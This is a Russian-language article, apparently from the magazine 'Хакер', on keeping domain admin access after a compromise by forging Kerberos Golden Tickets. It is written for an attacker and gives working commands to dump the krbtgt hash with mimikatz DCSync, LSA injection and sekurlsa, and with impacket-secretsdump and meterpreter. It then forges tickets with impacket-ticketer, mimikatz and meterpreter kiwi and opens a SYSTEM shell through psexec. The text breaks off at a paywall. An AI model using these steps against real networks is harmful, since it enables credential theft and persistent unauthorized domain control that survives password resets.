Представь, что мы скомпрометировали привилегированные учетные записи, используя разные техники повышения привилегий, распространились по сети, скрылись от средств обнаружения, но неожиданно потеряли контроль над доменом, потому что администратор по какой-то причине сменил пароль! В сегодняшней статье мы разберем способы сохранить административный доступ, даже если администратор сменил пароли или разрешения.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный информацией из этой статьи.

 

Kerberos Golden Tickets

Один из способов сохранить доступ к системе — сформировать Golden Ticket: пароль учетной записи krbtgt не будет изменен при тех же условиях, при которых может быть изменен пароль администратора.

Golden Ticket — это поддельные билеты для выдачи билетов, также называемые аутентификационными билетами (они же TGT). Если посмотреть на схему аутентификации Kerberos в случае Golden Ticket, то можно заметить, что подлинность Kerberos не проверяется (AS-REQ и AS-REP с контроллером домена). Так как Golden Ticket является поддельным TGT, он отправляется контроллеру домена как часть TGS-REQ для получения билета TGS.

Схема аутентификации Kerberos c Golden Ticket
Схема аутентификации Kerberos c Golden Ticket

Золотой билет Kerberos — действительный билет Kerberos TGT, поскольку он зашифрован и подписан доменной учетной записью Kerberos (krbtgt). А так как TGT зашифрован хешем пароля krbtgt и может быть расшифрован любой службой KDC в домене, то билет и воспринимается как реальный. Для того чтобы сделать Golden Ticket, нам необходимо знать следующее:

  1. SPN домена.
  2. SID домена.
  3. NTLM-хеш доменной учетной записи krbtgt.
  4. Имя пользователя, под которым будет работать оператор (даже если такого пользователя не существует).

Так как имя пользователя может быть любым, остается найти три недостающих компонента. Название и SID домена можно узнать с помощью PowerShell-команды Get-ADDomain.

SID и имя домена
SID и имя домена

Теперь нужно получить NTLM-хеш учетной записи krbtgt. Сделать это можно как удаленно, так и с помощью mimikatz. С использованием mimikatz у оператора есть выбор: выполнить атаку DCSync, используя базу Security Account Managers (SAM), или задействовать модуль sekurlsa.

mimikatz # lsadump::dcsync /user:krbtgt
Получаем хеши с помощью mimikatz, используя атаку DCSync
Получаем хеши с помощью mimikatz, используя атаку DCSync
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
Получаем хеши с помощью mimikatz, используя базу SAM
Получаем хеши с помощью mimikatz, используя базу SAM
mimikatz # sekurlsa::krbtgt
Получаем хеши с помощью mimikatz, используя модуль sekurlsa
Получаем хеши с помощью mimikatz, используя модуль sekurlsa

Удаленная атака выполняется также с использованием DCSync или при наличии открытой сессии meterpreter.

impacket-secretsdump domain.dom/root@192.168.6.100
Получение хешей с помощью secretsdump
Получение хешей с помощью secretsdump

Существует два варианта использования meterpreter: при помощи hashdump и dcsync_ntlm (для второго нужно загрузить модуль kiwi).

Получение хешей с помощью meterpreter hashdump
Получение хешей с помощью meterpreter hashdump
Получение хешей с помощью meterpreter dcsync_ntlm
Получение хешей с помощью meterpreter dcsync_ntlm

С помощью полученной информации можно создать и применить Golden Ticket. Сделаем это тремя способами: используя mimikatz, удаленно с помощью ticketer и с использованием meterpreter.

 

Ticketer

Первым делом следует создать билет. Для этого используем скрипт ticketer из пакета impacket (напомню, что имя пользователя можно выдумать любое).

impacket-ticketer -nthash 08f5bf2e292d77d8e460d3926a0d90de -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom anyuser
Создание Golden Ticket с помощью ticketer
Создание Golden Ticket с помощью ticketer

В текущей директории создан билет anyuser.ccache. Экспортируем его.

export KRB5CCNAME=anyuser.ccache

Теперь подключимся с помощью psexec из того же пакета impacket.

python3 psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста]
Подключаемся к хосту, используя Golden Ticket
Подключаемся к хосту, используя Golden Ticket

Получаем удаленное управление с правами SYSTEM.

 

Mimikatz

Создадим поддельный золотой билет с помощью mimikatz.

Создание Golden Ticket с помощью mimikatz
Создание Golden Ticket с помощью mimikatz

Если в данной команде не использовать параметр /ptt, то билет будет просто сохранен в текущей директории. В данном случае он сразу будет кеширован в памяти. Давай проверим это, вызвав командную строку.

mimikatz # misc::cmd

Теперь, выполнив команду klist, наблюдаем кешированный Golden Ticket.

Создание Golden Ticket с помощью mimikatz
Создание Golden Ticket с помощью mimikatz
 

Meterpreter

Для работы с meterpreter будем использовать модуль kiwi. Первым делом создадим Golden Ticket.

Создание Golden Ticket с помощью meterpreter
Создание Golden Ticket с помощью meterpreter

Теперь применим его.

Применение Golden Ticket с помощью meterpreter
Применение Golden Ticket с помощью meterpreter

И проверим, что билет успешно загружен.

Загруженный Golden Ticket
Загруженный Golden Ticket

Таким образом, у нас остается возможность работы с повышенными привилегиями, при этом мы не используем учетных данных администраторов. Это означает, что мы можем получить доступ всегда, даже при смене паролей пользователей, изменении их ролей и даже при удалении скомпрометированных учетных записей.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


1 комментарий

  1. Аватар

    s00mbre

    18.04.2020 в 16:33

    Мощно! Спасибо.

Оставить мнение